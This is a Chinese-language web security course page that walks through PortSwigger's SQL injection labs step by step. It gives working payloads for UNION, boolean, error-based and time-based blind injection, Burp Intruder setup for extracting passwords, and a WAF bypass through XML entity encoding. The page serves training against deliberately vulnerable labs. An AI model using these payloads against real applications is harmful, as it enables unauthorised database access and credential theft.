WEB安全
00-HTTP协议
01-前端基础【HTML】
02-前端基础【CSS】
03-后端基础【PHP速通】
04-后端基础【PHP面向对象】
05-MySQL基础操作
06-前后端联动【代码练习】
07-SQL注入
08-SQL注入 Labs
09-跨站脚本攻击【XSS】
09-XSS Labs
10-CSRF
11-SSRF
12-XML 外部实体注入【XXE】
13-代码执行漏洞
14-命令执行漏洞
15-文件包含漏洞
16-文件上传漏洞
17-反序列化漏洞
18-业务逻辑漏洞
19-未授权访问漏洞集合
20-跨源资源共享【CORS】
21-SSTI模板注入
22-并发漏洞
23-点击劫持【Clickjacking 】
24-请求走私
25-路径遍历
26-访问控制
27-身份验证漏洞
28-WebSocket
29-Web缓存中毒
30-HTTP 主机头攻击
31-信息泄露漏洞
32-原型污染
33-API概述
34-API分类类型
35-API交换格式
36-API身份验证
37-API常见漏洞
38-crAPI靶场
39-JWT
40-DVGA靶场
41-服务器端参数污染
42-API Labs
43-OAuth Labs
44-GraphQL API Labs
45-JWT Labs
46-小程序抓包
47-云存储
48-对象存储OSS
49-存储桶
50-存储桶漏洞
51-STS访问OSS
-
+
08-SQL注入 Labs
浏览
1
靶场地址:https://portswigger.net/web-security/all-labs#sql-injection ## 检索隐藏数据 该实验室在产品类别过滤器中发现了一个SQL注入漏洞。当用户选择一个类别时,应用程序会执行如下SQL查询: ```sql SELECT * FROM products WHERE category = 'Gifts' AND released = 1 ``` 任务:**执行 SQL 注入攻击,导致应用程序显示一个或多个未发布的产品。** 1、根据提示,在类别处抓取数据包  2、构造Payload ``` ' or 1=1-- qwe ```  3、出现了之前没有商品。   ## 绕过登录 在登录功能中包含一个 SQL 注入漏洞。 任务:以administrator身份登录应用程序。 1、随意输入账户密码之后进行抓包。  2、输入单引号进行测试。   3、得知单引号闭合,使用administrator用户。  4、鼠标右键,选择在浏览器中打开响应,然后赋值链接到浏览器中打开即可。   ## 查询 Oracle 数据库类型和版本 产品类别过滤器中存在 SQL 注入漏洞,可以使用 UNION 攻击来检索注入查询的结果。 任务:显示数据库类型和版本。 1、访问靶场,得知数据库为Oracle且category字段存在sql注入。   2、通过burp抓包分析。    单引号闭合 3、测试字段数。   4、测试回显位置。  5、构造payload。 ``` '+UNION+SELECT+BANNER,+NULL+FROM+v$version-- zxc ```  6、同样的方式,在浏览器中的打开响应的链接。   ## 查询 MySQL 和 Microsoft 的数据库类型和版本 产品类别过滤器中存在 SQL 注入漏洞,可以使用 UNION 攻击来检索注入查询的结果。 任务:显示数据库类型和版本。 1、操作顺序与上一靶场相同,故直接测试字段数量。   2、构造payload,观察回显位。 ```sql '+UNION+SELECT+'abc','def' -- qwe ```  3、显示数据库版本和名称。 ```sql '+UNION+SELECT+@@version,+NULL -- qwe ```  ## 列出非 Oracle 数据库上的数据库内容 产品类别过滤器中存在 SQL 注入漏洞。查询结果会在应用程序的响应中返回,因此可以使用 UNION 攻击从其他表中检索数据。 该应用程序具有登录功能,数据库中包含一个保存用户名和密码的表。需要确定此表的名称及其包含的列,然后检索表的内容以获取所有用户的用户名和密码。 任务:以用户身份登录administrator。 1、步骤与上述靶场相同。 2、构造payload,观察回显位。 ```sql '+UNION+SELECT+'abc','def'--czz ```  3、构造payload,显示表名。 ```sql '+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables-- zcc ```   4、pg_user表中可能存在着数据,构造payload,显示字段数。  5、显示数据,发现存在密码都是********* ```sql ' UNION SELECT usename,passwd FROM pg_user limit 0,1-- zcx ```  6、经过系列查找,在users_gvplos表中查找到两个字段。 ```sql %27+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+where+table_name+=+'users_gvplos'--%20zcc ```  7、查询数据。 ```sql %27+UNION+SELECT+username_nvalvz,+password_anhllj+FROM+users_gvplos+--+zxx ```  8、登录成功。  ## 列出 Oracle 数据库内容 产品类别过滤器中存在 SQL 注入漏洞。查询结果会在应用程序的响应中返回,因此可以使用 UNION 攻击从其他表中检索数据。 该应用程序具有登录功能,数据库中包含一个保存用户名和密码的表。需要确定此表的名称及其包含的列,然后检索表的内容以获取所有用户的用户名和密码。 任务:以用户身份登录administrator。 只列出关键步骤。 1、观察回显位置。 ```sql '+UNION+SELECT+'abc','def'+FROM+dual--%20123 ```  2、查询存在哪些数据库。 ```sql '+UNION+SELECT+table_name,NULL+FROM+all_tables--%20123 ```  3、在回显中检索,users相关字段,先尝试这个表USERS_ZSTSQU,查找字段。 ```sql '+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_ZSTSQU'--%20zxc ```  4、查询数据。 ```sql %27+UNION+SELECT+USERNAME_DYQHIL,+PASSWORD_TBKWSD+FROM+USERS_ZSTSQU--%20ss ```  5、登录成功。  ## 【UNION 攻击】确定列数 产品类别过滤器中存在 SQL 注入漏洞。查询结果会在应用程序的响应中返回,因此可以使用 UNION 攻击从其他表中检索数据。 任务:执行 SQL 注入 UNION 攻击来确定查询返回的列数 1、确定闭合。   单引号闭合。 2、使用order by 确定字段数。     三个字段。 3、使用UNION进行查询,使用NULL补位。 ```sql ' union select NULL,NULL,NULL-- zxc ```  ## 【UNION 攻击】确定字段的类型 任务:检索指定字符。 1、通过变化三个字段的类型。 确定中间字段为字符型。 ``` ' union select NULL,'zxc',NULL-- zxc ```  2、第三个字段是数字型。 ```sql ' union select NULL,'zxc',2-- zxc ```  3、第三个字段是数字型。 ```sql ' union select 1,'zxc',2-- zxc ```  4、由于网站给出了检索的字符,所以将第二个字符替换。 ``` ' union select 1,'fIWJJR',2-- zxc ```  ## 【UNION 攻击】从其他表检索数据 任务:数据库包含一个名为 的不同表users,其列名为username和password,检索所有用户名和密码,并使用该信息以administrator用户身份登录。 步骤与上述靶场相同。 1、确定回显位置。 ```sql %27+union+select+%27abc%27,%27def%27+--%20qwe ```  2、检索users表中的数据。 ``` ' union select username,password from users -- qwe ```  3、登录成功。  ## 【UNION 攻击】检索单个字段中的多个值 产品类别过滤器中存在 SQL 注入漏洞。查询结果会在应用程序的响应中返回,因此可以使用 UNION 攻击从其他表中检索数据。 任务:检索所有用户名和密码,并使用该信息以administrator用户身份登录。 操作与上述靶场相同。 1、确定参数类型。 ```sql '+union+select+1,'123'+--+azsd ```  2、查询users表中的passwor的字段。 ```sql '+union+select+1,'password'+from+users+limit+0+1+--+azsd ```  可以发现password字段被当作普通字符串进行输出。 3、可以使用字符串连接符号`||`进行规避。 在 Oracle、PostgreSQL 等数据库中常用,MySQL 中默认用 `CONCAT()` 函数,但部分配置下也支持 `||` ```sql '+UNION+SELECT+NULL,username||'~'||password+FROM+users-- asd ```  4、登录成功。  ## 布尔类型的 盲注 已知:cookie存在sql注入,表users,其列名为username和password。 任务:以用户身份登录administrator。 1、浏览目标网站,并用burp观察数据包,哪些地方存在cookie。 访问网站主页即携带了cookie。  2、存在注入的参数可能是TrackingId,将该数据包发送到repeater模块中,并进行测试。   3、直接检测是否存在users表。 ```sql ' and (select 'a' from users limit 1)='a ```  4、检测是否存在administrator用户。 ``` ' and (select 'a' from users where username='administrator')='a ```  5、确定administrator用户的密码长度。 ```sql ' and (select 'a' from users where username='administrator' and length(password)>1)='a ```    密码长度为20 6、可以使用burp的Intruder模块跑出每个字符。 ```sql ' and (select substring(password,1,1) from users where username='administrator')='a ``` 使用SUBSTRING()函数从密码中提取单个字符,并将其与特定值进行测试,环遍历每个位置和可能的值。 只需选择`a`,然后点击“**添加 §”**按钮。  在 **“有效载荷”**侧面板中,检查是否已选择 **“简单列表”** ,然后在**“有效载荷配置”**下添加 a - z 和 0 - 9 范围内的有效载荷。 ```txt a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 ``` 为了方便观察,点击 **“设置”**选项卡以打开**“设置”**侧面板。在**Grep - 匹配**部分,清除列表中的现有条目,然后添加值Welcome back。  7、第一个字符为:7   8、修改payload,将指定的偏移量从 1 更改为 2,依次类推20次,记录每一次的值。 ```sql ' and (select substring(password,2,1) from users where username='administrator')='a ``` 9、最终的字符串是77wnmwtysllibvbr2k4r  ## 带有条件错误的 盲注 已知:cookie参数存在sql注入,表users,其列名为username和password。 任务:以用户身份登录administrator 1、判断闭合。   一个单引号错误,两个单引号正常。 2、尝试构造子查询。 ```sql '||(select '')||' ```  ```slq '||(select '' from dual)||' ```  目标可能正在使用 Oracle 数据库,这要求所有 select 语句都明确指定表名。 3、尝试查询一个不存在的表名。 ```sql '||(select '' from not-a-real-table)||' ```  返回一个错误,表示字符串被后端当作 SQL 查询处理。 4、验证users表是否存在。 ```sql '||(select '' from users where rownum = 1)||' ```  users表存在。 5、可以使用ceas语句进行测试。 CASE语句测试一个条件,如果条件为真,则计算一个表达式;如果条件为假,则计算另一个表达式。 ```sql '||(select case when (1=1) then to_char(1/0) else '' end from users where username='administrator')||' ``` 分析: **||**:Oracle 数据库中的字符串连接运算符,用于将前后的字符串(或查询结果)拼接为一个整体。 核心子查询:**(select case when (1=1) then to_char(1/0) else '' end from users where username='administrator')** ```sql case when (1=1) then to_char(1/0) else '' end when (1=1):条件 1=1 是 “永真式”(永远为真),用于强制触发 then 分支 then to_char(1/0):若条件为真,执行 1/0(数学上的 “除以零” 操作),这在数据库中是非法运算,会直接触发错误。 to_char 是 Oracle 的类型转换函数,用于将数值转为字符串。 ``` 执行逻辑为: - 数据库先执行子查询:从 users 表中查询 username='administrator' 的记录。 - 若 users 表不存在,或表中无 administrator 用户,子查询可能直接报错(如 “表不存在”),或返回空结果(此时 case 语句无输出)。 因为case语句 1=1 恒真,触发 to_char(1/0),执行 “除以零” 操作,数据库抛出错误。  确认administrator用户存在。 6、探测administrator用户的密码长度。 ```sql '||(select case when length(password)>20 then to_char(1/0) else '' end from users where username='administrator')||' ```    长度为20。 7、标记a为变量,依次测试,与上述的布尔盲注方法相同。 ```sql '||(select case when substr(password,1,1)='a' then to_char(1/0) else '' end from users where username='administrator')||' ```  第一个字符是:7  8、将指定的偏移量从 1 更改为 2,依次类推。 ```sql '||(select case when substr(password,2,1)='a' then to_char(1/0) else '' end from users where username='administrator')||' ``` 9、最终的字符是:7nzve3emirs8985h2fkw  ## 基于错误的SQL 注入 已知:cookie参数存在sql注入,表users,其列名为username和password。 任务:以用户身份登录administrator 1、测试闭合,一个单引号,进行了报错,并且给出了错误信息。   可知是单引号闭合。 2、使用子查询探测类型。 ```sql ' and cast((select 1) as int)-- zxc ``` cast是 SQL 中的类型转换函数  必须是布尔类型。 4、修改payload。 ```sql ' and 1=cast((select 1) as int)-- zxc ```  有效查询。 5、尝试检索用户名。 ```sql ' and 1=cast((select username from users) as int)-- zxc ```  根据错误信息,由于字符数限制,查询貌似被进行了截断。 6、那么就直接删除掉原有的cookie值。 ```sql ' and 1=cast((select username from users) as int)-- zxc ```  7、一行一行的查询呢。 ```sql ' and 1=cast((select username from users limit 0,1) as int)-- zxc ```  administrator用户名存在。 8、查询administrator用户的密码。 ```sql ' and 1=cast((select password from users limit 0,1) as int)-- zxc ```  9、登录成功。  ## 时间类型的 盲注 已知:cookie参数存在sql注入。 任务:造成 10 秒的延迟。 1、 测试闭合。    页面返回相同。 2、时间类型的sql注入,可以使用sleep()函数测试。    都没有翻译,会不会函数不对呢。 3、使用pg_sleep()函数 pg_sleep 是 PostgreSQL 特有的函数,作用是让数据库会话暂停指定的秒数,参数为等待时间(单位:秒)。  20,218 millis 表示从发送请求到接收完整响应的总耗时,单位是 “毫秒(millis,1 秒 = 1000 毫秒)”, 即约 20.2 秒。 4、返回靶场页面,显示通过。  ## 时间类型的 盲注 通过时间类型的盲注检索信息。 已知:cookie处存在sql注入,可以触发条件时间延迟来推断信息。 任务:以用户身份登录administrator。 由于上述靶场已经知道是时间型盲注,并且可以通过pg_sleep()进行触发,后端数据库是PostgreSQL 。 1、测试pg_sleep()是否可以进行使用 。 ```sql '%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- ``` %3B是;的URL编码。  ```sql '%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- ```  2、测试是否存在administrator用户。 ```sql '%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- ```  存在该用户。 3、测试密码长度。 ```sql '%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- ```    长度为20。 4、通过读取单个字符,获取完整的password。 ```sql '%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users-- ``` 将请求包发送到 Intruder中,添加字符a为变量,在 “有效载荷”侧面板中,检查是否已选择“简单列表”,然后在 “有效载荷配置”下添加 a - z 和 0 - 9 范围内的有效载荷。  使用单线程发起请求,点击**资源池**选项卡打开**资源池**侧面板并将攻击添加到资源池,并将 **最大并发请求数**设置为1。  配置完成之后,点击开始攻击。  根据payload,返回响应时间大约在5秒的就是命中字符。  所以password的第一个字符是5 5、接下来依次类推,只需要修改偏移量从 1 更改为 2即可。 ```sql (password,2,1)='§a§') ``` 6、最终的字符是:5tz699j8wwokpo4owgxr 7、登录成功。  ## 通过 XML 编码绕过过滤器的 SQL 注入 已知:库存查询功能中存在 SQL 注入漏洞,可以使用 UNION 攻击从其他表中检索数据。数据库包含一个users表,其中字段有username和password。 任务:使用管理员账户登录系统。 1、点击任意商品,在下方存在检查库存按钮。  2、在当前位置抓取数据包。  3、发现数据被存放在了XML的标签中。   数据都发送了变化。 4、直接使用union。 ```sql 1 UNION SELECT NULL ```  "Attack detected",判定有WAF存在。 5、可以使用插件【Hackvertor】。  返回repeater模块的请求包中,选中我们的Payload,然后鼠标右键,然后选择**“扩展”>“Hackvertor”>“编码”**  再次发送  绕过WAF。 7、直接读取用户名和密码。 ```sql <@hex_entities>1 UNION SELECT username || '~' || password FROM users</@hex_entities> ```  8、登录成功。 
毛林
2026年11月15日 18:27
转发文档
收藏文档
上一篇
下一篇
评论(0)
登录
后可发表评论
还没有评论,来抢沙发~
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
Word文档
PDF文档(打印)
分享
链接
类型
密码
更新密码
还没有评论,来抢沙发~